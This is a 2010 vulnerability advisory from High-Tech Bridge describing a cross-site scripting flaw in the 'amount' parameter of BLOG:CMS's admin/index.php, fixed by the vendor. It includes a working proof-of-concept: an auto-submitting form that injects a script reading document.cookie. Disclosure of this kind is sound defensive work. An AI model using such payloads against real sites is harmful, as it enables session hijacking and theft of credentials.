XSS vulnerability in BLOG:CMS

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22725
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogcms_1.html
Product: BLOG:CMS
Vendor: Radek Hulán ( http://blogcms.com/ ) 
Vulnerable Version: 4.2.1.e and probably prior versions
Vendor Notification: 30 November 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/index.php" script to 
properly sanitize user-supplied input in "amount" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/index.php"; method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" 
value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version